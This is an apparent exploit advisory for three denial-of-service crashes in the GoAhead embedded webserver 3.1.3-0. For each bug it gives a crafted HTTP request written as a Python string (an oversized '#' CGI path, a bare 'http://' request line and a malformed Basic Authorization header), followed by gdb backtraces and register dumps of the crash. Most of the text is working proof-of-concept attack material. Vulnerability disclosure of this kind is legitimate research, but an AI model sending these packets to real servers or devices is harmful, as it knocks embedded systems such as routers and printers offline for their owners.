# Title: Embedthis Goahead Webserver multiple DoS vulnerabilities.
# Author: 0in (Maksymilian Motyl)
# Date: 18.02.2014
# Version: 3.1.3-0
# Software Link: http://embedthis.com/products/goahead/
# Download: https://github.com/embedthis/goahead
# Tested on: Linux x32
# Description: 
# "GoAhead is embedded in hundreds of millions of devices and applications like: printers, routers, switches, IP phones, mobile applications, data acquisition, 
# military applications and WIFI gateways."
# .... Ok.
# But I cannot confirm any vulnerability in products listed at http://embedthis.com/products/goahead/users.html

-----------------------------------------------
  1st vulnerability

***************************************

#!/usr/bin/python

packet="GET /cgi-bin/test/a/c/?"+"#"*1024+".cgi/c.txt HTTP/1.1\r\n"\
"Host: 127.0.0.1\r\n"\
"User-Agent: BillyExploiter\r\n"\
"Accept: text/html\r\n"\
"Accept-Language: pl\r\n"\
"Accept-Encoding: gzip, deflate\r\n"\
"Connection: keep-alive"

***************************************

Program received signal SIGABRT, Aborted.
0xb7772424 in __kernel_vsyscall ()
(gdb) bt
#0  0xb7772424 in __kernel_vsyscall ()
#1  0xb757d941 in *__GI_raise (sig=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:64
#2  0xb7580d72 in *__GI_abort () at abort.c:92
#3  0xb75b9e15 in __libc_message (do_abort=2, 
    fmt=0xb7691e70 "*** glibc detected *** %s: %s: 0x%s ***\n")
    at ../sysdeps/unix/sysv/linux/libc_fatal.c:189
#4  0xb75c3f01 in malloc_printerr (action=<optimized out>, 
    str=0x6 <Address 0x6 out of bounds>, ptr=0xb7765dad) at malloc.c:6283
#5  0xb75c517e in munmap_chunk (p=<optimized out>) at malloc.c:3540
#6  0xb7752d74 in termWebs (wp=wp@entry=0x8573240, reuse=reuse@entry=1)
    at src/http.c:457
#7  0xb775309c in reuseConn (wp=0x8573240) at src/http.c:520
#8  complete (wp=wp@entry=0x8573240, reuse=reuse@entry=1) at src/http.c:575
#9  0xb7754571 in websPump (wp=wp@entry=0x8573240) at src/http.c:837
#10 0xb7755606 in readEvent (wp=0x8573240) at src/http.c:797
#11 socketEvent (wptr=0x8573240, mask=2, sid=<optimized out>) at src/http.c:735


*** glibc detected *** goahead: munmap_chunk(): invalid pointer: 0xb7765dad ***

(gdb) x/xw 0xb7765dad
0xb7765dad:  0x74746800 # "tth" 

-----------------------------------------------

  2nd vulnerability

***************************************

#!/usr/bin/python
packet="GET http:// HTTP/1.1\r\n"

# Same crash happens when:
packet="GET http://dupa: HTTP/1.1\r\n"

***************************************


Program received signal SIGSEGV, Segmentation fault.
websDecodeUrl (decoded=decoded@entry=0xb7756253 "/", 
    input=input@entry=0xb7756253 "/", len=<optimized out>, len@entry=-1)
    at src/http.c:2225
warning: Source file is more recent than executable.
2225              *op = *ip;
(gdb) bt
#0  websDecodeUrl (decoded=decoded@entry=0xb7756253 "/", 
    input=input@entry=0xb7756253 "/", len=<optimized out>, len@entry=-1)
    at src/http.c:2225
#1  0xb774248f in websUrlParse (url=0x83bf140 "http", url@entry=0x83cd58c "http://", 
    pbuf=pbuf@entry=0xbfe6ce14, pprotocol=pprotocol@entry=0x0, 
    phost=phost@entry=0xbfe6ce00, pport=pport@entry=0xbfe6ce0c, 
    ppath=ppath@entry=0xbfe6ce08, pext=pext@entry=0xbfe6ce10, 
    preference=preference@entry=0x0, pquery=pquery@entry=0xbfe6ce04)
    at src/http.c:3122
#2  0xb7745079 in parseFirstLine (wp=0x83bf240) at src/http.c:949
#3  parseIncoming (wp=0x83bf240) at src/http.c:870

(gdb) disas $eip

   0xb773fb28 <+72>:  cmp    $0x25,%dl
   0xb773fb2b <+75>:  je     0xb773fb70 <websDecodeUrl+144>
=> 0xb773fb2d <+77>:  mov    %dl,(%esi)

(gdb) info reg
eax            0x1  1
ecx            0x13  19
edx            0x2f  47
ebx            0xb775e91c  -1217009380
esp            0xbfe6cd20  0xbfe6cd20
ebp            0xb7756254  0xb7756254
esi            0xb7756253  -1217043885
edi            0xb7756253  -1217043885
eip            0xb773fb2d  0xb773fb2d <websDecodeUrl+77>

(gdb) x/xw 0xb7756253
0xb7756253:  0x7473002f


-----------------------------------------------

  3rd vulnerability

***************************************

#!/usr/bin/python
packet="GET http://127.0.0.1/auth/basic/ HTTP/1.1\r\n"\
"Host: 127.0.0.1\r\n"\
"Accept: text/html\r\n"\
"Accept-Language: pl\r\n"\
"Accept-Encoding: gzip, deflate\r\n"\
"Connection: keep-alive\r\n"
"Authorization: Basic #\r\n"
***************************************

(gdb) bt
#0  strchr () at ../sysdeps/i386/strchr.S:127
#1  0xb770652a in parseBasicDetails (wp=0x8055240) at src/auth.c:717
#2  0xb7706c31 in websAuthenticate (wp=wp@entry=0x8055240) at src/auth.c:110
#3  0xb7717532 in websRouteRequest (wp=wp@entry=0x8055240) at src/route.c:85

(gdb) disas $eip
   0xb758799a <+90>:  lea    0x0(%esi),%esi
   0xb75879a0 <+96>:  add    $0x10,%eax
=> 0xb75879a3 <+99>:  mov    (%eax),%ecx

(gdb) info reg
eax            0x0  0
ecx            0x3a3a  14906
edx            0x3a3a3a3a  976894522
ebx            0xb772a91c  -1217222372
esp            0xbfc71428  0xbfc71428
ebp            0x8055240  0x8055240
esi            0x8055240  134566464
edi            0x0  0
eip            0xb75879a3  0xb75879a3 <strchr+99>